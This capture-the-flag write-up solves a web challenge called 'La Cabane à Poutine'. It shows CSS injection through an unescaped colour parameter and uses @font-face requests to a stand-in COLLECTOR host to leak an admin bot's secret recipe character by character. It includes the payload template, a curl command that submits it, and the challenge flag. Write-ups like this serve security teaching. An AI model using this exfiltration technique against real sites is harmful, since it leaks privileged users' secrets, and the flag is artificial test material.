arrow_backUS Cyber Games 2026
Webmedium

La Cabane à Poutine

by Pavel Knespl (capyplivl)

A poutine shop lets customers pick a receipt accent colour, which is reflected unescaped into a <style> block that a privileged admin bot renders with a secret recipe present in a readonly input. The CSP blocks JS and external images but allows font-src *, so CSS attribute selectors plus @font-face leak the secret one character at a time.

Solve

  1. Map the app: /receipt?accent= is the customer view (secret is a placeholder), POST /report makes the admin bot render the receipt with the real recette. The accent is injected raw into the receipt <style>, so red;} ... /* gives arbitrary CSS.
  2. Read the CSP. JS and external images are blocked, but fonts are unrestricted. Confirm the channel by injecting one @font-face pointing at a collector URL and applying it; the admin bot fetches it.
  3. Build attribute-selector exfiltration. For each position, one rule per candidate character:
    @font-face{font-family:fN;src:url(https://COLLECTOR/L<pos>_<hex(prefix+c)>);}
    input[name="recette"][value^="<prefix+c>"]{font-family:fN !important;}
    
    Only the selector matching the real prefix applies, so exactly one font is fetched per render, leaking the next character.
  4. Each round submits the crafted accent to the admin bot:
    curl -s -X POST https://HOST/report \
         -H 'Content-Type: application/x-www-form-urlencoded' \
         --data-urlencode "accent=red;}$CSS_FONT_RULES/*"
    
    Automate the loop: POST the accent, poll the collector for the new request, decode the hex path to the next char, grow the known prefix, repeat until no font is fetched. The recipe assembles into the flag.

Flag: SVIUSCG{l4_p0ut1n3_au_fr0m4g3_squ1k_squ1k}